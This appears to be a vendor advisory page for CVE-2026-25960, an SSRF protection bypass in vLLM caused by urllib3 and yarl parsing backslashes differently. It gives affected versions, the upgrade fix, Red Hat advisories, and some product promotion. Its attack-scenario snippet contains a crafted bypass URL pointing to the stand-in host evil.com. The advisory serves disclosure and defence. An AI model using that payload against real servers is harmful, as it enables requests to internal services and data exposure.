CVE-2026-25960 is a high-severity (CVSS 7.1) Server-Side Request Forgery (SSRF) vulnerability in vllm. A fix is available for vllm — see the affected versions and patch details below.
SSRF Protection Bypass in vLLM
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25960.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-25960 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
vllmReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the load_from_url_async method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.
Affected Component
- File:
vllm/connections.py - Function:
load_from_url_async
Vulnerability Details
Root Cause
The SSRF fix uses urllib3.util.parse_url() to validate and extract the hostname from user-provided URLs. However, load_from_url_async uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.
These two URL parsers handle backslash characters (\) differently:
| Parser | Input URL | Parsed Host | Parsed Path | Behavior |
|---|---|---|---|---|
urllib3.parse_url() | https://httpbin.org\@evil.com/ | httpbin.org | /%[email protected]/ | URL-encodes \ as %5C, treats \@evil.com/ as part of the path |
yarl (via aiohttp) | https://httpbin.org\@evil.com/ | evil.com | / | Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |
Attack Scenario
# Attacker provides this URL
malicious_url = "https://httpbin.org\\@evil.com/"
# 1. Validation layer (urllib3.parse_url)
parsed = urllib3.util.parse_url(malicious_url)
# parsed.host == "httpbin.org" ✅ Passes validation
# 2. Actual request (aiohttp with yarl)
async with aiohttp.ClientSession() as session:
async with session.get(malicious_url) as response:
# Request actually goes to evil.com! ❌ Bypass!
Why This Happens
- yarl: Interprets
httpbin.org\as the userinfo component, and@as the userinfo/host separator, so the URL is parsed asuser=httpbin.org\,host=evil.com,path=/ - urllib3: URL-encodes the backslash as
%5C, so\@evil.com/becomes/%[email protected]/which is treated as part of the path, leavinghost=httpbin.org
This inconsistency allows an attacker to:
- Bypass the hostname allowlist check
- Access arbitrary internal/external services
- Perform full SSRF attacks
Fixes
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | vllm | ≥ 0.15.1&&< 0.17.0 | 0.17.0pip install --upgrade 'vllm==0.17.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vllm, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vllm to 0.17.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25960 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-25960 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-25960. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This is an IMPORTANT vulnerability. The vLLM component, as used in Red Hat AI Inference Server and Red Hat OpenShift AI, is affected by a Server-Side Request Forgery (SSRF) protection bypass. This flaw allows an attacker to circumvent existing SSRF safeguards due to inconsistent URL parsing between the validation…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift AI 2.25 | rhoai/odh-vllm-gaudi-rhel9:1780069069 | RHSA-2026:24977 |
| Red Hat OpenShift AI 2.25 | rhoai/odh-vllm-cuda-rhel9:1783998774 | RHSA-2026:42644 |
Frequently Asked Questions
Is CVE-2026-25960 in your dependencies?
O3 Security finds CVE-2026-25960 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.